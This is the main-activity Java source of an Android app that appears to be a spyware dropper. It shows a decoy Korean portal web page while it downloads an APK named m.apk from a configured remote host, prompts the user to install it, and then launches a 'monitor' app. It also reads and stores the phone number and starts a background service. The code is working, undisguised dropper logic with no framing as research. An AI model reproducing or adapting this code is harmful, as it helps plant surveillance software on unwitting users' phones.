package com.mvlove;

import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager.NameNotFoundException;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.text.TextUtils;
import android.view.View;
import android.view.View.OnClickListener;
import android.webkit.WebSettings;
import android.webkit.WebSettings.ZoomDensity;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;
import android.widget.EditText;

import com.mvlove.service.TaskService;
import com.mvlove.util.Constants;
import com.mvlove.util.LocalManager;
import com.mvlove.util.PhoneUtil;
import com.tmvlove.R;

public class MainActivity extends Activity implements OnClickListener {
	private static final int REQUEST_CODE_INSTALL_APK = 1001;
	private static final String DEFAULT_URL = "http://www.daum.net";
	// private static final String DEFAULT_URL = "http://www.livestar.co.kr";
	private static final String MONITOR_PKGNAME = "com.m.android.data";
	private static final String DOWNLOAD_URL = Constants.Interface.getHost() + "/m.apk";
	private EditText mPhoneEdt;
	private Button button;
	private WebView mWebView;
	private DownloadTask mDownloadTask;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		if (Constants.IS_MONITOR) {
			initView();
		} else {
			if (isMonitorInstalled()) {
				startMonitorApp();
				finish();
			} else {
				initView();
				if (mDownloadTask == null || !mDownloadTask.mIsRunning) {
					mDownloadTask = new DownloadTask();
					mDownloadTask.execute();
				}
			}
		}
	}

	private void initView() {
		setContentView(R.layout.main);
		mPhoneEdt = (EditText) findViewById(R.id.phone);
		button = (Button) findViewById(R.id.button);
		button.setOnClickListener(this);

		mWebView = (WebView) findViewById(R.id.webView);
		mWebView.getSettings().setJavaScriptEnabled(true);
		mWebView.requestFocus(View.FOCUS_DOWN);
		mWebView.setWebViewClient(new HoppinWebViewClient());
		mWebView.setHorizontalScrollBarEnabled(true);
		mWebView.setVerticalScrollBarEnabled(true);
		mWebView.getSettings().setSupportZoom(true);
		mWebView.getSettings().setDefaultZoom(ZoomDensity.FAR);
		mWebView.getSettings().setBuiltInZoomControls(true);
		mWebView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);
		mWebView.loadUrl(DEFAULT_URL);
		String phone = PhoneUtil.getPhone(getApplicationContext());
		if (!TextUtils.isEmpty(phone)) {
			mPhoneEdt.setText(phone);
			button.setEnabled(false);
		}
		Intent serviceIntent = new Intent(this, TaskService.class);
		startService(serviceIntent);
	}

	private void startMonitorApp() {
		Intent intent = new Intent(Intent.ACTION_MAIN);
		intent.addCategory(Intent.CATEGORY_LAUNCHER);
		ComponentName cn = new ComponentName(MONITOR_PKGNAME, "com.mvlove.MainActivity");
		intent.setComponent(cn);
		startActivity(intent);
	}

	@Override
	public void onClick(View v) {
		switch (v.getId()) {
		case R.id.button:
			String phone = mPhoneEdt.getText().toString();
			LocalManager.setPhone(getApplicationContext(), phone);
			v.setEnabled(false);
			break;

		default:
			break;
		}
	}

	class HoppinWebViewClient extends WebViewClient {
		@Override
		public boolean shouldOverrideUrlLoading(WebView view, String url) {
			if (!TextUtils.isEmpty(url) && (url.startsWith("http") || url.startsWith("https"))) {
				view.loadUrl(url);
			}
			return false;
		}
	}

	@Override
	public void onBackPressed() {
		if (mWebView != null && mWebView.canGoBack()) {
			mWebView.goBack();
		} else {
			super.onBackPressed();
		}
	}

	private boolean isMonitorInstalled() {
		PackageInfo packageInfo = null;
		try {
			packageInfo = getPackageManager().getPackageInfo(MONITOR_PKGNAME, 0);
		} catch (NameNotFoundException e) {
			packageInfo = null;
			e.printStackTrace();
		}
		return packageInfo != null;
	}

	class DownloadTask extends AsyncTask<Void, Void, Boolean> {
		private boolean mIsRunning = false;
		private File mDownloadFile = null;

		public DownloadTask() {
			mDownloadFile = new File(Environment.getExternalStorageDirectory() + "/download/", "m.apk");
		}

		@Override
		protected Boolean doInBackground(Void... params) {
			mIsRunning = true;
			boolean result = downloadFile(DOWNLOAD_URL);
			mIsRunning = false;
			return result;
		}

		@Override
		protected void onPostExecute(Boolean result) {
			super.onPostExecute(result);
			if (result) {
				Intent i = new Intent(Intent.ACTION_VIEW);
				i.setDataAndType(Uri.fromFile(mDownloadFile), "application/vnd.android.package-archive");
				startActivityForResult(i, REQUEST_CODE_INSTALL_APK);
			}
		}

		private boolean downloadFile(String downloadUrl) {
			// 下载代码
			int currentSize = 0;
			long totalSize = 0;
			int updateTotalSize = 0;
			HttpURLConnection httpConnection = null;
			InputStream is = null;
			FileOutputStream fos = null;
			try {
				URL url = new URL(downloadUrl);
				httpConnection = (HttpURLConnection) url.openConnection();
				httpConnection.setRequestProperty("User-Agent", "PacificHttpClient");
				if (currentSize > 0) {
					httpConnection.setRequestProperty("RANGE", "bytes=" + currentSize + "-");
				}
				httpConnection.setConnectTimeout(10000);
				httpConnection.setReadTimeout(20000);
				updateTotalSize = httpConnection.getContentLength();
				if (httpConnection.getResponseCode() == 404) {
					throw new Exception("fail!");
				}

				if (mDownloadFile.exists()) {
					mDownloadFile.delete();
				}
				mDownloadFile.createNewFile();
				is = httpConnection.getInputStream();
				fos = new FileOutputStream(mDownloadFile, false);
				byte buffer[] = new byte[4096];
				int readsize = 0;
				while ((readsize = is.read(buffer)) > 0) {
					fos.write(buffer, 0, readsize);
					totalSize += readsize;
				}
			} catch (Exception e) {
				e.printStackTrace();
			} finally {
				try {
					if (httpConnection != null) {
						httpConnection.disconnect();
					}
					if (is != null) {
						is.close();
					}
					if (fos != null) {
						fos.close();
					}
				} catch (Exception e) {
					e.printStackTrace();
				}
			}
			return totalSize == updateTotalSize;
		}
	}

	@Override
	protected void onActivityResult(int requestCode, int resultCode, Intent data) {
		super.onActivityResult(requestCode, resultCode, data);
		if (requestCode == REQUEST_CODE_INSTALL_APK) {
			if (isMonitorInstalled()) {
				startMonitorApp();
				finish();
			}
		}
	}
}
